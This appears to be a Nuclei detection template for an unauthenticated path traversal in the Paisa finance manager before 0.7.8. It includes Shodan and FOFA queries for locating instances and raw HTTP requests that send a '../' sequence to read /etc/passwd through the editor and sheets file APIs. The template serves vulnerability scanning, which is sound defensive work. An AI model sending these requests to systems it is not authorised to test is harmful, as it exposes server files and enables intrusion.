CVE-2026-116067: Paisa < 0.7.8 - Unauthenticated Path Traversal

id: CVE-2026-116067

info:
  name: Paisa < 0.7.8 - Unauthenticated Path Traversal
  author: kosoyyagent
  severity: high
  description: |
    Paisa < 0.7.8 contains a path traversal vulnerability caused by improper sanitization of file names in GetFile, GetSheet, DeleteBackups, and DeleteSheetBackups handlers, letting unauthenticated attackers read arbitrary files and delete backups via ../ sequences.
  impact: |
    Unauthenticated attackers can read any server-readable file and delete backup files outside intended directories, risking data loss and information disclosure.
  remediation: |
    Update to version 0.7.8 or later.
  reference:
    - https://github.com/ananthakumaran/paisa/issues/420
    - https://github.com/ananthakumaran/paisa/commit/035949351f7c0d0f90ecf767aa1e28b4d5a0ae31
    - https://www.vulncheck.com/advisories/paisa-before-0.7.8-path-traversal-via-editor-and-sheet-api
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116067
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-116067
    epss-score: 0.01689
    epss-percentile: 0.77202
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 2
    vendor: ananthakumaran
    product: paisa
    shodan-query: http.title:"Paisa"
    fofa-query: body="Paisa is an open source personal finance manager"
  tags: cve,cve2026,paisa,lfi,traversal,unauth,intrusive

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/config HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_any(body, "paisa.fyi/schema.json", "Paisa configuration")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/editor/file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"../../../../../../../../etc/passwd"}

      - |
        POST /api/sheets/file HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"name":"../../../../../../../../etc/passwd"}

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_any(body, "root:x:0:0")'
        condition: and
# digest: 4a0a0047304502201c402d6591c24cd69cb0a8c59082077f5a66211d2fd4398f59d0e51967f92dc9022100a78bd14491ec85bb3ab655c4d339b690d147b572a737ade1756d91b4982e3201:922c64590222798bb761d5b6d8e72950

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